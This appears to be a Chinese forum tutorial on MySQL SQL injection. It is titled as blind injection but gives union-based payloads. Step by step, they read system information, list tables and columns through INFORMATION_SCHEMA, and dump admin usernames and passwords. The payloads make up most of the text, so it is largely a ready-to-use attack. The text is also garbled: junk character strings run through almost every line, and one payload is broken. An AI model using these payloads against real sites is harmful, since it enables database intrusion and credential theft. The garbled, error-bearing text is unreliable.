本文介绍MYSQL盲注的一些语句和方法
* v# j4 _8 J0 c7 u4 v. i
( i4 J1 n" z& r! O学习盲注前先了解下 IFORMATION_SCHEMA 库9 u# r; W* ^3 V2 I
. C+ _7 m8 _' N8 T% Y1 n2 M8 k
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
9 t2 Q4 c: K# c! Z9 L存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。8 w' F) E2 U) _. u
1.得到所有数据库名:/ w1 ?+ T! L c2 Q. d& K1 H# Z
|SCHEMATA ->存储数据库名的表: f& P7 R, C; K" V1 s
|---字段:SCHEMA_NAME ->数据库名称( c! V) d, S1 x: s" t; K
5 T& J$ J( u3 W {; j. K1 L|TABLES ->存储表名5 c: |# S4 t n6 U. H
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名9 }6 G2 L# m2 b6 l
|---字段:TABLE_NAME ->存储表的表名- ?+ c. Q. V+ _2 ~* o. y+ n7 F# I
1 ]# O, t5 {, C|COLUMNS ->存储的字段名表
+ p: P2 g* |( Q7 d2 k( T|---字段:TABLE_SCHEMA ->该字段所属数据库名
: t( P3 [ M/ ~|---字段:TABLE_NAME ->存储所属表的名称7 ] V8 X6 {5 B- h5 z6 Q4 W" |0 @
1 e' i5 T) C" y, ^% [1 o|---字段:COLUMN_NAME ->该字段的名称7 J7 ]& m, P# Q0 a& }, M' F
. S2 p: J7 L4 Z+ g3 d& s
2 _, C' V% u. B8 T8 y; G$ Z. A
/ w% o8 @5 z) R* f1 c. U###########################################################################
) M& z, v* I8 A V+ s. C; t. {# t0 c! E& o' A+ U9 y$ H
0x001 获取系统信息:
& {% S8 I* U) j4 ?- t. g" O
% K1 S$ p* s* T% Y+ g- Iunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*- i, z7 C- G/ V
1 E: Z9 \1 g; p9 @; d/ [
/*' D! @( b0 _9 ?7 X
# D' F( `7 M2 v- a5 b3 ^0 X
@@global.version_compile_os 获取系统版本
! j+ b* l( n' S4 B% b2 G) r D u0 m- _0 ^. K- {; t
@@datadir 数据库路径1 k6 v2 d. @$ ?6 N1 G& R
database() 当前数据库名称
2 T4 h' J* E* R7 P! p! m! |0x3c62723e 换行HEX值$ B" G7 B) Q8 M! z- S1 ]! d
8 U" I$ H2 ~2 k3 o# J( W3 h! ?: u4 b
*/% q* F7 g$ N8 q( B$ x* ^
, A; w: `1 x0 j/ Q6 O % \ p) f$ C+ K, S
( [# @# y7 {) u/ f( H% f1 `8 G# H, H, J8 g
######################################################################
6 C# w- x) j) B+ S& ~/ f' z1 I+ K1 G$ H' ^4 r. e
0x002 获取表名
: c5 s% s( ^6 R6 O! _
& C; U C' D. Runion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*) g |+ e& {% [+ V# _& c% |; E
0 g9 U- x" x' m/ V/ E b 2 D l! K3 ^0 K0 Q7 F% t
7 \& G- X" D/ M& W& l; C. ]
/*6 |. F y2 u! I! c h
# y$ S6 s# U5 o* I8 o! z# b& x) }0x67617264656e 为当前数据库名
& ] F+ M2 b( P8 ^* G
1 Y, ?7 [* G- q! b. A* q2 Zgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名; V+ r9 ~7 D; G; G X, w
7 ~. q: b; J: K, v6 _( D" z*/ A) ]; Y& v& q3 y: E
: D# ^ w) Z& G" m
###################################################################### ?( R; H, S0 }/ O+ C
) l% x- e1 ~8 v2 j, j6 @: B
7 [. ]( A. B. C
+ c6 U/ T& v. E6 Y4 b5 _/ T0x003 获取字段- ~1 P8 Z2 U( O" e0 T: ~; T
! @& o V0 v1 g, m
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*. u4 W' w- D- E1 E+ I; P! J7 q2 [% K7 _
: U7 _- b( J8 d# n1 v/*
: x* P) s% E/ J* l. Z* ?& O' l8 \
4 v- w: I/ X6 x& E jgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
# Z9 q; e: S# U4 Z/ T J& ?2 ]% v; C' [+ m
0x61646d696e ->选择一个表
, I( q. a6 U5 n( ?( P0 m; j3 D1 z7 H, w! \0 }& x7 {9 l) p7 z
0x67617264656e ->数据库名
1 ~! l. M+ N$ l( l: o7 W
& A% G% C% G8 j# W z*/- d. m7 y6 `, k# O" A4 F- X
. {' x$ Z' ?; d" N2 o4 }2 F$ N5 {##################################################################### m# |" w3 B+ ]" P
& ?1 X- r1 q0 k7 a# D& h
* c( u2 X3 e4 q
1 z4 w, I4 N! l7 H# Y* O0x004 获取数据
8 @& s4 _% f5 f; F2 X" L
: @% q' d/ j, e* e% ]/ iunion select 1,2,3
+ v, v* I9 A' y2 ]$ |# i,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin8 h% m5 d, q# a8 l+ {1 D( m9 Q
! R! K" l$ x0 ~' B4 |
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin6 G, [ r! J; k! R' F# A
, L* b- C# ~$ g+ Y3 G6 V/ q
& R B& F* O: C2 A( e, ^7 Y x& ?/ x3 H" r2 @8 G/ n) L
/*7 i$ F$ @ _/ \
' c' ~# i" \) x6 [# G
0x3c62723e 换行符号HEX编码
9 `3 Y1 p3 A, j+ i
$ Z/ H$ L w: P* Xgroup_concat 同时获得该字段所有数据
+ y5 N' f5 B/ s) |% P: U
% L- K' m8 u7 x/ Z*/
0 C) h* r* [9 }3 x6 M- {4 m: k; I- a, S: `! F
|